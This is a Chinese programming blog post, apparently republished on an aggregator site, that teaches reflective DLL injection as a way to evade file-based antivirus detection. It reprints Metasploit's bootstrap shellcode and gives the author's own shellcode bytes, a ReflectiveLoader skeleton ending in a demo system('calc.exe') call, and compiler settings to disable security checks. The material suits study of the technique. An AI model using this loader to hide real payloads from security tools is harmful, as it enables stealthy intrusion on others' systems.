欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

reflective dll injection 反射注入

发布时间:2025/3/21 编程问答 41 豆豆
生活随笔 收集整理的这篇文章主要介绍了 reflective dll injection 反射注入 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

一、reflective dll injection 反射注入介绍

网上对反射注入的定义是只通过内存把DLL注入到特定进程中,也就是说整个过程都不涉及文件操作。

优点

  • 规避杀软基于文件系统的检测

  • 不会在进程的DLL链表里留下记录

  • 通过特殊处理,可以使用正常的方式编写DLL,实现shellcode的效果

缺点

  • DLL体积较大,相比于shellcode注入,更容易被检测

二、修改dos头,填入精心构造的 bootstrap shellcode

metasploit 实现的bootstrap shellcode非常精妙,它保留了正常DLL的特征

dec ebp ; M pop edx ; Z call 0 ; call next instruction pop ebx ; get our location (+7) push edx ; push edx back inc ebp ; restore ebp push ebp ; save ebp mov ebp, esp ; setup fresh stack frame add ebx, 0x???????? ; add offset to ReflectiveLoader call ebx ; call ReflectiveLoader mov ebx, eax ; save DllMain for second call push edi ; our socket push 0x4 ; signal we have attached push eax ; some value for hinstance call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) push 0x???????? ; our EXITFUNC placeholder push 0x5 ; signal we have detached push eax ; some value for hinstance call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) ; we only return if we don't set a valid EXITFUNC Listing 1: Bootstrap Shellcode.

我这里自己实现了一个更简单的。

将DOS头从MZ标记开始的字节替换为shellcode,功能是跳转到ReflectiveLoader函数

shellcode如下:

E8 00000000 | call $0 | 将下一条指令的地址压栈
58 | pop eax | 将当前指令的地址弹到eax
83E8 05 | sub eax,5 | 减5字节得到第一条指令的地址,得到DLL基址ImageBase
50 | push eax | ImageBase压栈,传给ReflectiveLoader函数
05 00100000 | add eax,1000 | 基址+偏移找到ReflectiveLoader函数地址
FFD0 | call eax | 调用ReflectiveLoader函数

E8 00 00 00 00 58 83 E8 05 50 05 60 15 00 00 FF D0

其中倒数第二条指令 add eax,xx 每次编译后可能都会变,因此指令也要每次修改。

然后,把DLL拉伸成内存镜像的形式,实际上就是遍历节表,把所有的节从文件对齐的位置复制到内存对齐的位置。

这样处理之后,DLL已经初步具备了shellcode的特征,它可以像shellcode一样被执行了,但是还有很多重要的工作没有完成。

三、ReflectiveLoader 函数

需要完成两项工作:

  • 修复重定位表
  • 修复IAT表

完成这两项之后,就可以调用任意API和自己编写的函数,到此为止,这个DLL在使用上已经和普通shellcode没什么区别了(除了体积比shellcode大得多)。

显然,这样写代码比写shellcode简单多了,shellcode需要时刻注意不能使用全局变量,字符串常量,还不能调用别的函数,所有功能都要在一个函数里完成;而使用反射注入方式编写的DLL,绝大部分代码都是正常编写的,我们只需要写非常少的shellcode以及编写几个用于修正DLL内数据的函数就行了。

extern "C" __declspec(dllexport) void ReflectiveLoader(DWORD dwImageBase) {// 需要先修复重定位表,因为此时所有硬编码跳转的地址都是错的// ReflectiveLoader可以调用SetNewImageBase是因为编译器使用E8 CALL,这两个函数之间的偏移在编译时就确定了,就不会出错// 如果编译器使用 FF 15 CALL ,就不能这么做了,所以最安全的做法就是把修复重定位表的工作放在ReflectiveLoader里做完// 修复重定位后,就可以调用DLL内的函数和全局变量了SetNewImageBase((LPVOID)dwImageBase, dwImageBase);// 通过PEB获取 LoadLibrary 和 GetProcAddress// 获取这两个函数,待会修复IAT表要用GetLoadlibAndGetproc();// 修复IAT表// 修复IAT表后,就可以调用API了RepairIAT((LPVOID)dwImageBase);// 执行任意正常编写的代码,从这开始就不需要写shellcode了MessageBoxA(0, "Reflective Inject success, now we can call any API normally!", 0, MB_OK);printf("printf test.\n");system("calc.exe");ExitProcess(0); }

四、注意事项

关闭 C/C++ 常规 支持仅我的代码调试/JMC

这玩意开了的话会在代码里加一些栈溢出校验函数,这些函数会在我们修复重定位IAT之前使用错误的地址,所以必须关掉。

同理,也要把/GS运行时安全检查关掉,这个选项也会加入一些校验函数。这个选项在debug模式下没有影响,release下就会运行时崩溃。

总结一下就是,我们要把所有编译器链接器可能自己添加代码的功能尽可能关掉,不然它们在修复工作开始前就调用,就会出错。

下面给出编写shellcode的典型配置,出自《Rootkit 系统灰色地带的潜伏者 原书第2版》

总结

以上是生活随笔为你收集整理的reflective dll injection 反射注入的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。